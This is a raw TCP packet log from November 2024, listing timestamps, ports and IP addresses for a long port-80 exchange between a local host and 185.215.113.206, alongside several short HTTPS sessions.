Nov 16, 2024 23:36:39.222955942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222964048 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222999096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223018885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223037958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223072052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223105907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223117113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223140001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223171949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223206043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223217964 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223239899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223273039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223282099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223356009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223391056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223419905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223424911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223457098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223493099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223516941 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223517895 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223517895 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223527908 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223556042 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223573923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223591089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223622084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223649979 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223659992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223695993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223706961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223728895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223762989 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223774910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223797083 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223845005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223880053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223885059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223915100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223925114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223946095 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223948002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.223974943 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.223982096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224018097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224052906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224066973 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224086046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224119902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224153042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224169016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224186897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224194050 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224220991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224256992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224298954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224299908 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224334002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224369049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224383116 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224402905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224428892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224436998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224471092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224495888 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224503994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224535942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224543095 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224570036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224602938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224637032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224647999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224672079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224694014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224704981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224709034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224737883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224760056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224771976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224807978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224817038 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224841118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224874020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224909067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224917889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.224941969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224975109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.224988937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.225011110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.225044012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.225054979 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.225078106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.225121021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.273077011 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.275568962 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:39.275588989 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.276087046 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.276416063 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:39.276487112 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.276757956 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:39.285649061 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.294023991 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.294297934 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.294394016 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.294457912 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.294467926 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.294480085 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.294486046 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.297198057 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.297230959 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.297334909 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.297374010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.297543049 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.297561884 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.307363033 CET	49921	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:39.307456017 CET	443	49921	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:39.307540894 CET	49921	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:39.307754993 CET	49921	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:39.307792902 CET	443	49921	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:39.323328018 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.325508118 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.326211929 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.326318979 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.326458931 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.326498032 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.326541901 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.468101978 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.468430996 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.468916893 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:39.468916893 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:39.468933105 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:39.469060898 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:39.527529955 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.527759075 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.527770996 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.531303883 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.531380892 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.532587051 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.532685995 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.548576117 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.548804998 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.548837900 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.549849033 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.549922943 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.550545931 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.550621033 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.551901102 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.559881926 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.559916019 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.561069012 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.561078072 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.566935062 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.569587946 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.569612026 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.570053101 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.570060968 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.572935104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.572995901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.572999001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573008060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573024035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573033094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573066950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573082924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573092937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573113918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573113918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573133945 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573153019 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573223114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573328972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573367119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573374033 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573379993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573385954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573395014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573436022 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573493958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573503017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573512077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573529005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573533058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573539972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573548079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573558092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573565006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573568106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573577881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573585987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573589087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573620081 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573628902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573656082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573703051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573745966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573754072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573782921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573788881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573798895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573827028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573865891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.573966026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573976040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.573986053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574011087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574028015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574049950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574059963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574068069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574084044 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574096918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574105978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574105978 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574116945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574134111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574137926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574152946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574181080 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574254036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574291945 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574292898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574302912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574331999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574342966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574352980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574376106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574378014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574385881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574399948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574418068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574440002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574450970 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574475050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574485064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574572086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574609041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574625969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574634075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574668884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574671984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574678898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574712992 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574759960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574769020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574779034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574790001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574807882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574807882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574819088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574826002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574843884 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574872971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574875116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574887037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574920893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.574925900 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574934959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574944973 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574961901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574970961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.574985027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575006008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575010061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575050116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575061083 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575088024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575097084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575104952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575119019 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575128078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575138092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575146914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575150013 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575156927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575167894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575170040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575197935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575217962 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575239897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575249910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575258017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575290918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575304031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575342894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575346947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575357914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575393915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575403929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575443029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575447083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575453043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575465918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575491905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575516939 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575598955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575608969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575617075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575625896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575635910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575644016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575645924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575660944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575670958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575679064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575680017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575690985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575695992 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575700998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575714111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575727940 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575752020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.575764894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.575773954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.576781034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.578378916 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.578403950 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.594012976 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.594041109 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:39.594079971 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.594624996 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.594650030 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.595026016 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.595032930 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.625228882 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.640887022 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:39.659169912 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.659482956 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.659498930 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.660481930 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.660603046 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.661561012 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.661617041 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.691997051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692043066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692095995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692130089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692171097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692181110 CET	80	49824	185.215.113.206	192.168.2.5
